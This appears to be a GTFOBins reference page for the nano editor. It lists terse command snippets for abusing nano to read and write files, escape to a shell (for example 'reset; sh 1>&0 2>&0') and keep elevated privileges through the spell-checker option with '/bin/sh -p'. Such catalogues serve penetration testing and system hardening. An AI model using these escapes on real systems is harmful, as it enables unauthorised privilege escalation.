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nano

12 techniques Linux · macOSGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation LinuxmacOS

The file content is displayed in the terminal interface.

nano /path/to/input-file

File ReadPrivilege Escalation LinuxmacOS

The file content is displayed in the terminal interface.

nano /path/to/input-file

File Read LinuxmacOS

The file content is displayed in the terminal interface.

nano /path/to/input-file

File WritePrivilege Escalation LinuxmacOS

nano /path/to/output-file
DATA
^O

File WritePrivilege Escalation LinuxmacOS

nano /path/to/output-file
DATA
^O

File Write LinuxmacOS

nano /path/to/output-file
DATA
^O

ExecutionPrivilege Escalation LinuxmacOS

nano
^R^X
reset; sh 1>&0 2>&0

ExecutionPrivilege Escalation LinuxmacOS

nano
^R^X
reset; sh 1>&0 2>&0

Execution LinuxmacOS

nano
^R^X
reset; sh 1>&0 2>&0

ExecutionPrivilege Escalation LinuxmacOS

The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.

nano -s /bin/sh
/bin/sh
^T^T

ExecutionPrivilege Escalation LinuxmacOS

The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.

nano -s '/bin/sh -p'
/bin/sh -p
^T^T

Execution LinuxmacOS

The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.

nano -s /bin/sh
/bin/sh
^T^T